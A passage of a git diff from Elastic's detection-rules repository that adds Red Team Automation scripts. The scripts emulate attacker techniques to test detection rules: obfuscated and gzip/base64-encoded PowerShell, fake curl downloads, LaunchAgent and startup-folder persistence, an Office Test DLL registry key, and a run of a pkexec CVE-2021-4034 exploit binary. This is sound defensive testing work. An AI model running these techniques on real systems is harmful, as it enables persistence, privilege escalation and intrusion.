}${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } + ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } """ # noqa: E501 commands = [c.strip() for c in commands.splitlines()] diff --git a/rta/office_app_execution.py b/rta/office_app_execution.py new file mode 100644 index 000000000..79a97656b --- /dev/null +++ b/rta/office_app_execution.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1a483c55-443d-4d01-a9de-e2c69df744f3", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Initial Access or Execution via Microsoft Office Application", + "rule_id": "64021ef9-19d3-4797-ac3c-79e38d5e5a5a", + } + ], + siem=[], + techniques=["T1105", "T1140", "T1027", "T1566", "T1547", "T1204", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/Microsoft PowerPoint" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake Microsoft Office process") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/office_application_startup.py b/rta/office_application_startup.py index 607e18465..fc2811ee8 100644 --- a/rta/office_application_startup.py +++ b/rta/office_application_startup.py @@ -11,9 +11,13 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="5a979532-2b56-4c7d-b47e-a2aa1ef9547a", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(dll_location="c:\\windows\\temp\\evil.dll"): # Write evil dll to office test path: subkey = "Software\\Microsoft\\Office Test\\Special\\Perf" diff --git a/rta/office_child_process.py b/rta/office_child_process.py new file mode 100644 index 000000000..03a79cf78 --- /dev/null +++ b/rta/office_child_process.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="65ae1bcd-0b1c-4992-97c3-f40b0f92deb1", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Suspicious macOS MS Office Child Process", "rule_id": "66da12b1-ac83-40eb-814c-07ed1d82b7b9"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/Microsoft Word" + masquerade2 = "/tmp/bash" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + common.log("Executing fake Microsoft commands to mimic suspicious child processes.") + common.execute([masquerade, "childprocess", masquerade2], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/opera_child_process.py b/rta/opera_child_process.py new file mode 100644 index 000000000..2b9c654a0 --- /dev/null +++ b/rta/opera_child_process.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="459d7b3c-2c6d-4101-b830-d6c317d4b355", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Suspicious Browser Child Process", "rule_id": "080bc66a-5d56-4d1f-8071-817671716db9"}], + techniques=["T1203", "T1189"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/Opera" + masquerade2 = "/tmp/curl" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake macOS installer commands to download payload") + + command = f"{masquerade2} test.amazonaws.comtest" + common.execute([masquerade, "childprocess", command], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_hidden_login_item.py b/rta/osascript_hidden_login_item.py new file mode 100644 index 000000000..70c8088a6 --- /dev/null +++ b/rta/osascript_hidden_login_item.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d00ef4d9-4690-4eb1-aa60-7ff3ce3bd75b", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Creation of Hidden Login Item via Apple Script", + "rule_id": "f24bcae1-8980-4b30-b5dd-f851b055c9e7", + } + ], + techniques=["T1547", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript commands to mimic hidden file creation") + common.execute( + [masquerade, "childprocess", "osascript login item hidden:true"], + shell=True, + timeout=5, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_net_conn.py b/rta/osascript_net_conn.py new file mode 100644 index 000000000..7b5cccd43 --- /dev/null +++ b/rta/osascript_net_conn.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="66407efa-a32e-4f4d-b339-def48e23e810", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Apple Script Execution followed by Network Connection", + "rule_id": "47f76567-d58a-4fed-b32b-21f571e28910", + } + ], + techniques=["T1105", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.copy_file("/usr/bin/curl", masquerade) + + # Execute command + common.log("Launching fake commands to mimic creating a network connection with osascript") + common.execute([masquerade, "portquiz.net"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_sh_execution.py b/rta/osascript_sh_execution.py new file mode 100644 index 000000000..3cd6cddc7 --- /dev/null +++ b/rta/osascript_sh_execution.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="fa1dd615-73f0-46d0-b047-b495337d356b", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Shell Execution via Apple Scripting", "rule_id": "d461fac0-43e8-49e2-85ea-3a58fe120b4f"}], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript commands to mimic sh execution") + common.execute([masquerade, "childprocess", "sh -c 'ls'"], shell=True, timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_suspicious_cmdline.py b/rta/osascript_suspicious_cmdline.py new file mode 100644 index 000000000..8c6945bb6 --- /dev/null +++ b/rta/osascript_suspicious_cmdline.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="af8d27bb-1673-463f-8631-a5b30278cf33", + platforms=["macos"], + endpoint=[{"rule_name": "Suspicious Apple Script Execution", "rule_id": "7b9d544a-5b2a-4f0d-984a-cdc89a7fad25"}], + siem=[], + techniques=["T1105", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript and javascript commands") + common.execute( + [masquerade, "JavaScript", "eval('curl http://www.test')"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/outlook_suspicious_child.py b/rta/outlook_suspicious_child.py new file mode 100644 index 000000000..b3170ee3a --- /dev/null +++ b/rta/outlook_suspicious_child.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b30811a1-f734-4c28-b386-bcf43b214e09", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Execution via Outlook Application COM Object", + "rule_id": "17030515-5ed0-43c8-9602-f97cbebd43c0", + }, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + ], + siem=[], + techniques=["T1566", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + outlook = "C:\\Users\\Public\\outlook.exe" + svchost = "C:\\Users\\Public\\svchost.exe" + common.copy_file(EXE_FILE, outlook) + common.copy_file(EXE_FILE, svchost) + + common.log("Fake outlook spawning powershell") + common.execute([svchost, "/c", outlook, "/c", "powershell -Embedding"], timeout=10, kill=True) + + common.remove_files(outlook, svchost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/periodic_task_creation.py b/rta/periodic_task_creation.py new file mode 100644 index 000000000..1e21b8f72 --- /dev/null +++ b/rta/periodic_task_creation.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="31161e21-c290-4e51-a6d3-2865710793ff", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential Persistence via Periodic Tasks", "rule_id": "48ec9452-e1fd-4513-a376-10a1a26d2c83"}], + techniques=["T1053"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on periodic file test.conf to mimic periodic tasks creation") + common.temporary_file_helper("testing", file_name="/private/etc/periodic/test.conf") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/persistence_chrome_extension.py b/rta/persistence_chrome_extension.py new file mode 100644 index 000000000..d26088e1c --- /dev/null +++ b/rta/persistence_chrome_extension.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4d9af153-a878-4ae3-b6c4-b3f14e516f25", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Manual Loading of a Suspicious Chromium Extension", + "rule_id": "e8d52cc6-8785-43d2-8e98-30f07e19e16c", + } + ], + siem=[], + techniques=["T1176"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing chrome commands to load suspicious ext.") + chrome = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" + common.execute([chrome, "--load-extension=/test"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/persistence_startup_unusual_process.py b/rta/persistence_startup_unusual_process.py new file mode 100644 index 000000000..325ed3e49 --- /dev/null +++ b/rta/persistence_startup_unusual_process.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import time + + +metadata = RtaMetadata( + uuid="9a0c0715-5225-4170-a505-0e3cc4dfd63e", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + { + "rule_name": "Unusual File Written or Modified in Startup Folder", + "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", + }, + {"rule_name": "Startup Persistence via Unusual Process", "rule_id": "95d13ce1-ffb2-4be8-a56e-cc9a891e81e2"}, + { + "rule_name": "Script Interpreter Process Writing to Commonly Abused Persistence Locations", + "rule_id": "be42f9fc-bdca-41cd-b125-f223d09eef69", + }, + { + "rule_name": "Startup Persistence via Windows Script Interpreter", + "rule_id": "a85000c8-3eac-413b-8353-079343c2b6f0", + }, + ], + siem=[], + techniques=["T1547", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + tempowershell = "C:\\Windows\\notp0sh.exe" + posh = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\posh.exe" + common.copy_file(powershell, tempowershell) + + time.sleep(2) + common.execute([tempowershell, "-c", "Copy-Item", powershell, tempowershell]) + common.remove_files(tempowershell, posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/persistent_scripts.py b/rta/persistent_scripts.py index 4b8d46074..ac7fc765a 100644 --- a/rta/persistent_scripts.py +++ b/rta/persistent_scripts.py @@ -11,12 +11,23 @@ import os import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2ab62c28-1abb-4ac5-a16d-2f4f75d01d02", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "afcce5ad-65de-4ed2-8516-5e093d3ac99a", "rule_name": "Local Scheduled Task Creation"}], + techniques=["T1053"], +) + VBS = common.get_path("bin", "persistent_script.vbs") NAME = "rta-vbs-persistence" -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC, VBS) def main(): common.log("Persistent Scripts") @@ -26,7 +37,7 @@ def main(): return 1 # Remove any existing profiles - user_profile = os.environ['USERPROFILE'] + user_profile = os.environ["USERPROFILE"] log_file = os.path.join(user_profile, NAME + ".log") # Remove log file if exists diff --git a/rta/ping_delayed_exec.py b/rta/ping_delayed_exec.py new file mode 100644 index 000000000..273dd81fa --- /dev/null +++ b/rta/ping_delayed_exec.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="48419773-64de-498a-be98-cb1f6815e80c", + platforms=["windows"], + endpoint=[{"rule_name": "Delayed Execution via Ping", "rule_id": "7615ca4b-c291-4f05-9488-114b6bf99157"}], + siem=[], + techniques=["T1216", "T1220", "T1218", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + cmd = "C:\\Windows\\System32\\cmd.exe" + + # Execute command + common.log("Delaying rundll32 execution using ping...") + common.execute([cmd, "/c", "ping -n 3 127.0.0.1 && rundll32.exe"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/pkexec_shell.py b/rta/pkexec_shell.py new file mode 100644 index 000000000..de2bde6a7 --- /dev/null +++ b/rta/pkexec_shell.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dc1baf0d-8048-481a-b142-73313181fe31", + platforms=["linux"], + endpoint=[ + {"rule_name": "Privilege Escalation via PKEXEC Exploitation", "rule_id": "30c89cc9-d93c-4134-a976-58f8413f2f32"} + ], + siem=[], + techniques=["T1574", "T1068"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Executing command to simulate privilege escalation via PKEXEC exploitation") + # The exploit reproduction is available for commercial usage via MIT License + # https://github.com/berdav/CVE-2021-4034/blob/main/LICENSE + # The RTA script has complied binary in the /bin folder. Refer src folder for the origin code. + + exploit_path = common.get_path("bin", "pkexec_cve20214034", "cve-2021-4034") + common.execute(exploit_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/plist_creation.py b/rta/plist_creation.py new file mode 100644 index 000000000..8d57c16e5 --- /dev/null +++ b/rta/plist_creation.py @@ -0,0 +1,74 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +from pathlib import Path + + +metadata = RtaMetadata( + uuid="12e70377-e24e-4374-8aec-42064614d706", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Property List File Creation or Modification", + "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6714432f", + } + ], + siem=[], + techniques=["T1547", "T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + launch_agents_dir = Path.home() / "Library" / "Launchagents" + plistbuddy_bin = "/usr/libexec/PlistBuddy" + plist_file = Path.home() / "Library" / "Launchagents" / "init_verx.plist" + + # Create launch agents dir if it doesn't exist + if not launch_agents_dir.exists(): + common.log(f"Creating directory {launch_agents_dir}") + launch_agents_dir.mkdir() + + # Create plist file using Plistbuddy + common.log("Executing PlistBuddy commands to create plist file") + common.execute( + [f"{plistbuddy_bin}", "-c", "Add :Label string init_verx", f"{plist_file}"], + shell=True, + ) + common.pause() + common.execute([f"{plistbuddy_bin}", "-c", "Add :RunAtLoad bool true", f"{plist_file}"]) + common.pause() + common.execute([f"{plistbuddy_bin}", "-c", "Add :StartInterval integer 3600", f"{plist_file}"]) + common.pause() + common.execute([f"{plistbuddy_bin}", "-c", "Add :ProgramArguments array", f"{plist_file}"]) + common.pause() + common.execute( + [ + f"{plistbuddy_bin}", + "-c", + "Add :ProgramArguments:0 string '/bin/sh'", + f"{plist_file}", + ] + ) + common.pause() + common.execute( + [ + f"{plistbuddy_bin}", + "-c", + "Add :ProgramArguments:1 string -c", + f"{plist_file}", + ] + ) + + # Delete the plist file if it exists + if plist_file.exists(): + common.log(f"Deleting plist file {plist_file}") + plist_file.unlink() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/plistbuddy_file_modification.py b/rta/plistbuddy_file_modification.py new file mode 100644 index 000000000..1e09e76d6 --- /dev/null +++ b/rta/plistbuddy_file_modification.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="522a18d6-0c27-499f-86d9-cd421129a38d", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Property List File Creation or Modification", + "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6714432f", + } + ], + siem=[], + techniques=["T1547", "T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/plistbuddy" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake plistbuddy command to modify plist files") + common.execute([masquerade, "testRunAtLoad testLaunchAgentstest"], timeout=10, kill=True) + common.execute([masquerade, "testProgramArgumentstest"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/port_monitor.py b/rta/port_monitor.py index 1d0d2ac90..16bdebbb3 100644 --- a/rta/port_monitor.py +++ b/rta/port_monitor.py @@ -9,9 +9,24 @@ # Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="d7d1d0cf-a84a-4526-b0db-be59a210246e", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "8f3e91c7-d791-4704-80a1-42c160d7aa27", + "rule_name": "Potential Port Monitor or Print Processor Registration Abuse", + } + ], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Writing registry key and dummy dll") diff --git a/rta/powershell_args.py b/rta/powershell_args.py index abaaeda16..8de53ad7e 100644 --- a/rta/powershell_args.py +++ b/rta/powershell_args.py @@ -12,13 +12,17 @@ import base64 import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="5efc844c-0c11-4f84-a904-ada611315298", platforms=["windows"], endpoint=[], siem=[], techniques=[]) def encode(command): - return base64.b64encode(command.encode('utf-16le')) + return base64.b64encode(command.encode("utf-16le")) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): common.log("PowerShell Suspicious Commands") temp_script = os.path.abspath("tmp.ps1") @@ -28,9 +32,9 @@ def main(): f.write("whoami.exe\nexit\n") powershell_commands = [ - ['powershell.exe', '-ExecutionPol', 'Bypass', temp_script], - ['powershell.exe', 'iex', 'Get-Process'], - ['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)], + ["powershell.exe", "-ExecutionPol", "Bypass", temp_script], + ["powershell.exe", "iex", "Get-Process"], + ["powershell.exe", "-ec", encode("Get-Process" + " " * 1000)], ] for command in powershell_commands: diff --git a/rta/powershell_base64_gzip.py b/rta/powershell_base64_gzip.py index c64de3ca5..380d4b8d1 100644 --- a/rta/powershell_base64_gzip.py +++ b/rta/powershell_base64_gzip.py @@ -9,13 +9,28 @@ # Description: Calls PowerShell with command-line that contains base64/gzip from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="38defc7e-7234-45a2-83ef-e845d0eba3f2", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "81fe9dc6-a2d7-4192-a2d8-eed98afc766a", + "rule_name": "PowerShell Suspicious Payload Encoded and Compressed", + } + ], + techniques=["T1140", "T1027", "T1059"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("PowerShell with base64/gzip") - command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501 + command = "powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)" # noqa: E501 common.execute(command) diff --git a/rta/powershell_from_script.py b/rta/powershell_from_script.py index 9e82b408f..5693f97cb 100644 --- a/rta/powershell_from_script.py +++ b/rta/powershell_from_script.py @@ -13,16 +13,26 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="161c5972-6bfe-47b5-92bd-e0399e025dec", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f545ff26-3c94-4fd0-bd33-3c7f95a3a0fc", "rule_name": "Windows Script Executing PowerShell"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): # Write script script_file = os.path.abspath("launchpowershell.vbs") script = """Set objShell = CreateObject("Wscript.shell") objShell.run("powershell echo 'Doing evil things...'; sleep 3") """ - with open(script_file, 'w') as f: + with open(script_file, "w") as f: f.write(script) # Execute script diff --git a/rta/powershell_unsigned_defender_exclusion.py b/rta/powershell_unsigned_defender_exclusion.py new file mode 100644 index 000000000..53ba8527a --- /dev/null +++ b/rta/powershell_unsigned_defender_exclusion.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one 